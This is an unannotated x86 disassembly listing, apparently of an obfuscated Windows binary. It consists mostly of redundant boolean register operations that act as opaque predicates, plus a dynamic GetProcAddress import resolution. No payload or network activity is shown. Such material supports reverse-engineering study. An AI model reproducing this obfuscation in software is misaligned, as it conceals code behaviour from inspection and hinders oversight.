mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, ch
or al, ah
xor dl, al
xor bl, 0xff
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov ah, al
and ah, 0
and bh, dl
mov dh, ch
and dh, 0
and bl, dl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or dl, 0
and al, dl
or ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov al, 1
xor al, 0
and al, 1
mov ch, 1
xor ch, 1
and ch, 0
or al, ch
mov dh, 1
xor dh, 1
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
or dh, bl
or ch, 1
xor dh, 0xff
and dh, ch
mov ch, 1
xor ch, 1
and ch, 1
mov bl, 1
xor bl, 1
and bl, 1
or ch, bl
xor ch, 0xff
mov bh, 1
xor bh, 0
mov bl, 1
xor bl, 0
or ch, bh
or bl, 0
xor ch, 0xff
and ch, bl
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, dl
and bl, dh
xor dl, dh
or bl, dl
mov dh, ch
xor dh, 0xff
mov byte [ebp - 0x774], dh
mov bh, al
xor bh, 0xff
mov dl, 1
xor dl, 1
and dh, 0xff
and ch, dl
mov byte [ebp - 0x776], ch
mov ch, bh
and ch, 0xff
and al, dl
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x776]
or dh, al
mov al, byte [ebp - 0x775]
or ch, al
mov al, byte [ebp - 0x774]
xor dh, ch
mov ch, byte [ebp - 0x749]
or al, bh
xor al, 0xff
or dl, 1
and al, dl
or dh, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and bl, bh
mov dl, dh
xor dl, 0xff
and dl, 0xff
and dh, bh
or al, bl
or dl, dh
xor al, dl
mov byte [ebp - 0x73d], al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov bh, ch
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x73d]
or dl, bh
or dh, bl
xor dl, dh
xor ch, 0xff
mov bl, dl
xor bl, ch
and bl, dl
mov ch, al
xor ch, 0xff
and ch, 1
mov dl, 1
xor dl, 1
and al, dl
or ch, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
mov dh, cl
and dh, bh
mov dl, ch
xor dl, 0xff
and dl, 0
and ch, bh
or al, dh
or dl, ch
xor al, dl
xor cl, 0xff
mov dl, al
xor dl, cl
and dl, al
mov al, ah
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, ah
and cl, ch
or al, cl
mov byte [ebp - 0x773], al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov cl, 1
xor cl, 0
and cl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or cl, al
mov al, byte [ebp - 0x773]
or dh, bh
xor cl, dh
mov bh, al
and bh, ch
xor al, ch
or bh, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x76f], dh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x770], al
mov ch, 1
xor ch, 0
and dh, 0
mov al, ch
and al, 0
mov byte [ebp - 0x772], al
mov al, byte [ebp - 0x770]
and al, 0
mov byte [ebp - 0x771], al
mov al, byte [ebp - 0x772]
and cl, ch
or dh, al
mov al, byte [ebp - 0x771]
or al, cl
mov cl, byte [ebp - 0x770]
xor dh, al
mov al, byte [ebp - 0x76f]
or al, cl
mov cl, byte [ebp - 0x76d]
xor al, 0xff
or ch, 0
and al, ch
or dh, al
mov ch, bh
xor ch, 0xff
and ch, 1
mov al, 1
xor al, 1
and bh, al
mov al, byte [ebp - 0x73d]
or ch, bh
xor dh, 0xff
mov bh, ch
xor bh, dh
and bh, ch
mov dh, al
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
and al, ch
or dh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x76e], al
mov al, 1
xor al, 0
and cl, al
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, al
mov al, byte [ebp - 0x76e]
or al, cl
mov cl, byte [ebp - 0x76d]
or ch, dh
xor al, ch
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, bl
and cl, ch
or al, cl
mov byte [ebp - 0x75d], al
mov al, dl
xor al, 0xff
and al, 1
mov byte [ebp - 0x76c], al
mov ch, 1
xor ch, 1
mov cl, dl
and cl, ch
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x76b], al
mov al, byte [ebp - 0x76c]
and ch, 1
or al, cl
mov cl, byte [ebp - 0x76b]
or cl, ch
xor al, cl
mov byte [ebp - 0x75f], al
mov cl, 1
xor cl, 1
and cl, 0
mov al, 1
xor al, 0
mov ch, al
and ch, 1
mov byte [ebp - 0x76a], ch
mov ch, 1
xor ch, 1
and ch, 0
and al, 1
mov byte [ebp - 0x769], al
mov al, byte [ebp - 0x76a]
or cl, al
mov al, byte [ebp - 0x769]
or ch, al
mov al, byte [ebp - 0x75d]
xor cl, ch
mov byte [ebp - 0x75a], cl
xor al, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or al, ch
mov ch, byte [ebp - 0x75a]
or cl, 0
xor al, 0xff
and al, cl
xor ch, 0xff
mov cl, bl
xor cl, ch
mov ch, byte [ebp - 0x75f]
and cl, bl
mov bl, 1
xor bl, 1
xor ch, bl
mov bl, byte [ebp - 0x75f]
and ch, bl
mov bl, byte [ebp - 0x75a]
mov byte [ebp - 0x764], ch
xor dl, 0xff
xor bl, 0xff
mov ch, 1
xor ch, 0
or dl, bl
or ch, 0
xor dl, 0xff
and dl, ch
mov byte [ebp - 0x766], dl
mov dl, al
xor dl, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x765], ch
mov bl, 1
xor bl, 0
mov ch, dl
and ch, 0
and al, bl
mov byte [ebp - 0x768], al
mov al, byte [ebp - 0x765]
and al, 0
mov byte [ebp - 0x767], al
mov al, byte [ebp - 0x768]
and cl, bl
or ch, al
mov al, byte [ebp - 0x767]
or al, cl
mov cl, byte [ebp - 0x766]
xor ch, al
mov al, byte [ebp - 0x765]
or dl, al
mov al, byte [ebp - 0x764]
xor dl, 0xff
or bl, 0
and dl, bl
or ch, dl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x760], bl
mov dl, cl
xor dl, 0xff
mov byte [ebp - 0x761], dl
mov dl, 1
xor dl, 0
and bl, 0
and al, dl
mov byte [ebp - 0x763], al
mov al, byte [ebp - 0x761]
and al, 0
mov byte [ebp - 0x762], al
mov al, byte [ebp - 0x763]
and cl, dl
or bl, al
mov al, byte [ebp - 0x762]
or al, cl
mov cl, byte [ebp - 0x761]
xor bl, al
mov al, byte [ebp - 0x760]
or al, cl
mov cl, byte [ebp - 0x75f]
xor al, 0xff
or dl, 0
and al, dl
or bl, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and ch, al
mov byte [ebp - 0x75e], ch
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x75e]
or dl, al
mov al, byte [ebp - 0x75d]
or ch, bl
xor dl, ch
mov byte [ebp - 0x756], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x759], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 0
and dl, 0
and al, ch
mov byte [ebp - 0x75c], al
mov al, bl
and al, 0
mov byte [ebp - 0x75b], al
mov al, byte [ebp - 0x75c]
and cl, ch
or dl, al
mov al, byte [ebp - 0x75b]
or al, cl
mov cl, byte [ebp - 0x75a]
xor dl, al
mov al, byte [ebp - 0x759]
or al, bl
xor al, 0xff
or ch, 0
and al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0x754], al
mov dl, 1
xor dl, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x755], al
mov bl, 1
xor bl, 1
mov ch, dl
and ch, 0xff
mov al, bl
and al, 1
mov byte [ebp - 0x758], al
mov al, byte [ebp - 0x755]
and al, 0xff
mov byte [ebp - 0x757], al
mov al, byte [ebp - 0x758]
and cl, bl
or ch, al
mov al, byte [ebp - 0x757]
or al, cl
mov cl, byte [ebp - 0x756]
xor ch, al
mov al, byte [ebp - 0x755]
or dl, al
mov al, byte [ebp - 0x754]
xor dl, 0xff
or bl, 1
and dl, bl
or ch, dl
xor ch, 0xff
mov dl, al
xor dl, ch
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x74a], al
mov dl, bh
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov bl, dh
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov cl, 1
xor cl, 0
and cl, 1
mov al, 1
xor al, 1
and al, 0
or cl, al
mov byte [ebp - 0x74e], cl
mov al, 1
xor al, 0
mov bl, dl
xor bl, al
and bl, dl
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, 1
xor al, 0
mov cl, ch
xor cl, al
mov al, byte [ebp - 0x74e]
and cl, ch
mov byte [ebp - 0x753], cl
xor al, 0xff
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x753]
and cl, dh
mov dh, bl
and dh, bh
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x750], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x74f], bh
mov bh, 1
xor bh, 1
and bl, 0xff
and al, bh
mov byte [ebp - 0x752], al
mov al, byte [ebp - 0x74f]
and al, 0xff
mov byte [ebp - 0x751], al
mov al, byte [ebp - 0x752]
and cl, bh
or bl, al
mov al, byte [ebp - 0x751]
or al, cl
mov cl, byte [ebp - 0x750]
xor bl, al
mov al, byte [ebp - 0x74f]
or cl, al
mov al, byte [ebp - 0x74e]
xor cl, 0xff
or bh, 1
and cl, bh
or bl, cl
mov bh, dh
xor bh, 0xff
mov cl, bl
and cl, bh
xor bl, 0xff
and dh, bl
or cl, dh
mov byte [ebp - 0x74b], cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov bh, cl
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and cl, dl
or bh, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov dl, cl
and dl, 0xff
mov bl, ch
and bl, 0
mov byte [ebp - 0x74d], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x74c], al
mov al, byte [ebp - 0x74d]
or dl, al
mov al, byte [ebp - 0x74c]
or bl, al
mov al, byte [ebp - 0x74b]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bh, dl
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
mov dh, cl
and dh, 0
and al, dl
mov bl, ch
and bl, 0
and bh, dl
or dh, al
mov al, byte [ebp - 0x74a]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
mov ch, 1
xor ch, 0
xor dl, 0xff
mov cl, 1
xor cl, 0
or ch, dl
or cl, 0
xor ch, 0xff
and ch, cl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, bl
or cl, dl
xor bh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, dh
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or al, cl
xor al, 0xff
mov cl, 1
xor cl, 0
mov dl, 1
xor dl, 1
or al, cl
mov cl, byte [ebp - 0x749]
or dl, 1
xor al, 0xff
and al, dl
xor bh, 0xff
mov dl, dh
xor dl, bh
and dl, dh
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, dl
xor al, dl
or ch, al
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or dl, dh
or al, ch
xor dl, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or bh, al
mov al, ah
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
mov bl, ah
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or al, bl
or ch, dh
xor al, ch
mov byte [ebp - 0x741], al
mov al, 1
xor al, 0
and al, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or al, bl
mov bl, byte [ebp - 0x741]
or ch, dh
xor al, ch
mov byte [ebp - 0x73e], al
mov al, bh
xor al, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or al, dh
mov dh, byte [ebp - 0x73e]
or ch, 0
xor al, 0xff
and al, ch
xor cl, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 0
or cl, dh
or ch, 0
xor cl, 0xff
and cl, ch
mov dh, 1
xor dh, 0
mov ch, bl
xor ch, dh
mov dh, byte [ebp - 0x73e]
and ch, bl
mov byte [ebp - 0x745], ch
xor ah, 0xff
xor dh, 0xff
mov ch, 1
xor ch, 1
or ah, dh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x746], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0x748], al
mov al, bl
and al, 0
mov byte [ebp - 0x747], al
mov al, byte [ebp - 0x748]
and cl, dh
or ah, al
mov al, byte [ebp - 0x747]
or al, cl
mov cl, byte [ebp - 0x746]
xor ah, al
mov al, byte [ebp - 0x745]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov byte [ebp - 0x742], ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and al, dh
mov byte [ebp - 0x744], al
mov al, bl
and al, 0
mov byte [ebp - 0x743], al
mov al, byte [ebp - 0x744]
and cl, dh
or ah, al
mov al, byte [ebp - 0x743]
or al, cl
mov cl, byte [ebp - 0x742]
xor ah, al
mov al, byte [ebp - 0x741]
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov ch, cl
xor ch, 0xff
mov dh, ah
and dh, ch
xor ah, 0xff
and cl, ah
or dh, cl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bh, ch
mov byte [ebp - 0x740], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x73f], al
mov al, byte [ebp - 0x740]
or cl, al
mov al, byte [ebp - 0x73f]
or bh, al
mov al, byte [ebp - 0x73e]
xor cl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
and cl, ah
or bh, cl
mov cl, al
and cl, 0
xor al, 0
or cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
mov ah, al
and ah, 0xff
and dh, cl
mov bl, ch
and bl, 0xff
and bh, cl
or ah, dh
mov dh, byte [ebp - 0x73d]
or bl, bh
xor ah, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov bl, ah
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, bl
or al, cl
xor ch, al
mov cl, 1
xor cl, 1
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
xor ah, 0xff
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x735], al
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dh
and cl, ah
or al, cl
mov byte [ebp - 0x739], al
mov bl, 1
xor bl, 1
and bl, 1
mov cl, 1
xor cl, 1
and cl, 1
or bl, cl
mov byte [ebp - 0x736], bl
mov cl, 1
xor cl, 1
mov ah, bh
xor ah, cl
and ah, bh
mov ch, bl
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, 1
xor cl, 1
xor al, cl
mov cl, byte [ebp - 0x739]
and al, cl
xor bl, 0xff
mov cl, dh
xor cl, bl
and cl, dh
mov dh, ah
and dh, ch
xor ah, ch
or dh, ah
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x73a], ch
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 1
and ch, 0xff
and al, ah
mov byte [ebp - 0x73c], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x73b], al
mov al, byte [ebp - 0x73c]
and cl, ah
or ch, al
mov al, byte [ebp - 0x73b]
or al, cl
mov cl, byte [ebp - 0x73a]
xor ch, al
mov al, byte [ebp - 0x739]
or cl, bl
xor cl, 0xff
or ah, 1
and cl, ah
or ch, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov ch, bh
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, ch
and ah, 0
and bh, dh
mov byte [ebp - 0x738], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x737], al
mov al, byte [ebp - 0x738]
or ah, al
mov al, byte [ebp - 0x737]
or bh, al
mov al, byte [ebp - 0x736]
xor ah, bh
or ch, bl
xor ch, 0xff
or dh, 0
and ch, dh
or ah, ch
mov bh, ah
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
and ah, ch
or bh, ah
mov ah, al
and ah, 1
xor al, 1
or ah, al
xor bh, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or bh, ah
or al, 1
xor bh, 0xff
and bh, al
mov ah, cl
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov al, ah
and al, 0xff
and cl, ch
mov bl, dh
and bl, 0xff
and bh, ch
or al, cl
mov cl, byte [ebp - 0x735]
or bl, bh
xor al, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov al, ch
xor al, 0xff
and al, 0xff
and ch, bl
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ah
xor cl, 0xff
mov al, dl
xor al, cl
and al, dl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5ca770ce
mov ecx, 0x935cb734
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x19c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x198]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x1a0]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x190]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0xd5], al
mov ecx, dword [0x5e6bac]
mov eax, dword [0x5e6ba8]
mov esi, 0x56f096f4
add esi, 0
sub esi, 1
sub esi, 0x56f096f4
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
xor edi, edi
sub edi, 0xd3c24a87
mov edx, ecx
add edx, edi
sub edx, 0xf755429e
add edx, esi
add edx, 0xf755429e
add edx, 0xbd15583e
add edx, 0xd3c24a87
sub edx, 0xbd15583e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl al
mov byte [ebp - 0x7aa], al
mov ch, cl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or ch, dh
or dl, ah
xor ch, dl
xor ch, 0xff
xor ch, 0
and ch, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov dl, bh
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dl, 1
xor dl, 1
and dl, 1
mov ah, 1
xor ah, 1
and ah, 1
or dl, ah
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov dh, 1
xor dh, 1
xor bh, 0xff
mov ah, 1
xor ah, 1
or dh, bh
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, ch
and ah, bl
xor ch, bl
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x784], dl
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or dh, dl
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov dl, 1
xor dl, 1
and dl, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dl, bl
or ah, ch
xor dl, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov al, dh
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov ch, al
and ch, 0xff
and dh, dl
mov bl, ah
and bl, 0xff
and bh, dl
or ch, dh
mov dh, byte [ebp - 0x784]
or bl, bh
xor ch, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov ah, 1
xor ah, 0
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, 1
xor dl, 1
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 1
and ah, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 1
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
xor ah, 0xff
xor ah, 0
and ah, 0
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov byte [ebp - 0x77b], al
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, ah
or al, dl
xor bl, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
mov bh, dh
and bh, al
mov ah, bl
xor ah, 0xff
and ah, 0
and bl, al
mov al, byte [ebp - 0x77b]
or dl, bh
or ah, bl
xor dl, ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or dl, dh
or ah, 1
xor dl, 0xff
and dl, ah
mov byte [ebp - 0x79d], dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov bh, cl
xor bh, 0xff
and bh, 0
mov dh, 1
xor dh, 0
mov ah, cl
and ah, dh
mov al, dl
xor al, 0xff
and al, 0
and dl, dh
or bh, ah
or al, dl
xor bh, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
mov ah, ch
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dl, 1
xor dl, 0
and dl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
and ah, 1
or cl, ah
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, 1
xor dl, 1
mov byte [ebp - 0x7a9], dl
mov dh, cl
xor dh, 0xff
mov ah, 1
xor ah, 0
and dl, 0
mov al, ah
and al, 1
mov byte [ebp - 0x7ac], al
mov al, dh
and al, 0
mov byte [ebp - 0x7ab], al
mov al, byte [ebp - 0x7ac]
and cl, ah
or dl, al
mov al, byte [ebp - 0x7ab]
or al, cl
mov cl, byte [ebp - 0x7aa]
xor dl, al
mov al, byte [ebp - 0x7a9]
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or dl, al
mov al, bl
xor al, 0xff
and al, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or al, bl
mov bl, byte [ebp - 0x77b]
or ah, dh
xor al, ah
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and bl, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
mov byte [ebp - 0x7a8], al
mov bl, cl
and bl, al
mov al, dl
xor al, 0xff
and al, 0
mov byte [ebp - 0x7a7], al
mov al, byte [ebp - 0x7a8]
and dl, al
mov al, byte [ebp - 0x7a7]
or ah, bl
mov bl, byte [ebp - 0x79d]
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
and bl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dl, bl
or al, cl
xor dl, al
mov bl, bh
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
mov al, bh
and al, cl
mov byte [ebp - 0x7a6], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x7a5], al
mov al, byte [ebp - 0x7a6]
and cl, 1
or bl, al
mov al, byte [ebp - 0x7a5]
or al, cl
xor bl, al
mov al, 1
xor al, 0
and al, 0
mov byte [ebp - 0x7a3], al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x7a4], cl
and cl, 0
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x7a2], al
mov al, byte [ebp - 0x7a4]
and al, 1
mov byte [ebp - 0x7a1], al
mov al, byte [ebp - 0x7a3]
or al, cl
mov cl, byte [ebp - 0x7a2]
mov byte [ebp - 0x7a0], al
mov al, byte [ebp - 0x7a1]
or cl, al
mov al, byte [ebp - 0x7a0]
xor al, cl
mov byte [ebp - 0x78e], al
mov cl, dl
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x79f], al
mov al, 1
xor al, 0
mov byte [ebp - 0x79e], al
mov al, byte [ebp - 0x79f]
or cl, al
mov al, byte [ebp - 0x79e]
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x79d]
mov byte [ebp - 0x798], cl
mov cl, byte [ebp - 0x78e]
xor al, 0xff
mov byte [ebp - 0x79c], al
xor cl, 0xff
mov al, 1
xor al, 1
mov byte [ebp - 0x79b], al
mov al, byte [ebp - 0x79c]
or al, cl
mov cl, byte [ebp - 0x79b]
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x797], al
mov cl, bl
xor cl, 0xff
